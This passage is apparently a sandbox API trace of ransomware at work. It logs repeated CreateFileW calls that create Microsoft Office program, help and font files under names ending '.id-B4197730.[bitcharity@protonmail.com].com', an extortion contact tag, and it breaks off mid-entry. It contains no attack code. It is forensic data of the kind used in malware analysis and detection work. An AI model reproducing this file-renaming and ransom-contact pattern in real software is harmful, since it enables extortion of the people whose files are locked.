CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFSTEP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfstep_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.652] CloseHandle (hObject=0x10c0) returned 1 [0278.664] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.664] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFSTME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfstme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.665] CloseHandle (hObject=0x10c0) returned 1 [0278.666] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.666] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFSTME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfstme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.666] CloseHandle (hObject=0x10c0) returned 1 [0278.667] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.667] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFTLBR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wftlbr_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.668] CloseHandle (hObject=0x10c0) returned 1 [0278.669] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.669] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFTLBR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wftlbr_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.669] CloseHandle (hObject=0x10c0) returned 1 [0278.670] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.670] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFWICN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfwicn_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.136] CloseHandle (hObject=0x10c0) returned 1 [0279.628] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.628] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.LYNC.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.lync.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.629] CloseHandle (hObject=0x11b4) returned 1 [0279.630] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.630] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.LYNC_ONLINE.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.lync_online.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.630] CloseHandle (hObject=0x11b4) returned 1 [0279.632] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.632] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.MSACCESS.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.msaccess.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.632] CloseHandle (hObject=0x11b4) returned 1 [0279.633] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.633] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.MSOUC.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.msouc.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.633] CloseHandle (hObject=0x11b4) returned 1 [0279.634] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.634] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.MSPUB.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.mspub.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.634] CloseHandle (hObject=0x11b4) returned 1 [0279.636] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.636] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.ONENOTE.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.onenote.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.636] CloseHandle (hObject=0x11b4) returned 1 [0279.637] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.637] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.OUTLOOK.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.outlook.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.637] CloseHandle (hObject=0x11b4) returned 1 [0279.638] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.638] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.POWERPNT.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.powerpnt.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.639] CloseHandle (hObject=0x11b4) returned 1 [0279.640] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.640] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.SETLANG.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.setlang.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.641] CloseHandle (hObject=0x11b4) returned 1 [0279.642] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.642] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.SKYPEFB.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.skypefb.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.643] CloseHandle (hObject=0x11b4) returned 1 [0279.646] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.646] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.SKYPEFB_BASIC.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.skypefb_basic.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.647] CloseHandle (hObject=0x11b4) returned 1 [0279.647] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.647] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.SKYPEFB_ONLINE.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.skypefb_online.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.648] CloseHandle (hObject=0x11b4) returned 1 [0279.649] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.649] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.SKYPEFB_ONLINEG.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.skypefb_onlineg.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.649] CloseHandle (hObject=0x11b4) returned 1 [0279.649] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.650] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.SPREADSHEETCOMPARE.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.spreadsheetcompare.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.650] CloseHandle (hObject=0x11b4) returned 1 [0279.651] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.651] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.VISIO.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.visio.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.651] CloseHandle (hObject=0x11b4) returned 1 [0279.652] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.652] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.VISIO_PRM.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.visio_prm.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.652] CloseHandle (hObject=0x11b4) returned 1 [0279.653] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.653] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.VISIO_STD.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.visio_std.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.654] CloseHandle (hObject=0x11b4) returned 1 [0279.654] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.654] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.WINPROJ.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.winproj.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.655] CloseHandle (hObject=0x11b4) returned 1 [0279.655] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.655] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.WINPROJ_STD.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.winproj_std.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.655] CloseHandle (hObject=0x11b4) returned 1 [0279.657] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.657] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.WINWORD.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.winword.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.657] CloseHandle (hObject=0x11b4) returned 1 [0279.658] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.658] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0279.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\nslist.hxl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\nslist.hxl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.658] CloseHandle (hObject=0x11b4) returned 1 [0281.064] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.064] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_BLAI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_blai.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.064] CloseHandle (hObject=0x1188) returned 1 [0281.065] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.065] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CalibriLI.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\calibrili.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.066] CloseHandle (hObject=0x1188) returned 1 [0281.067] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.067] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALIFB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\califb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.067] CloseHandle (hObject=0x1188) returned 1 [0281.069] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.069] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0281.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CALIFI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\califi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.069] CloseHandle (hObject=0x1188) returned 1 [0281.070] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: 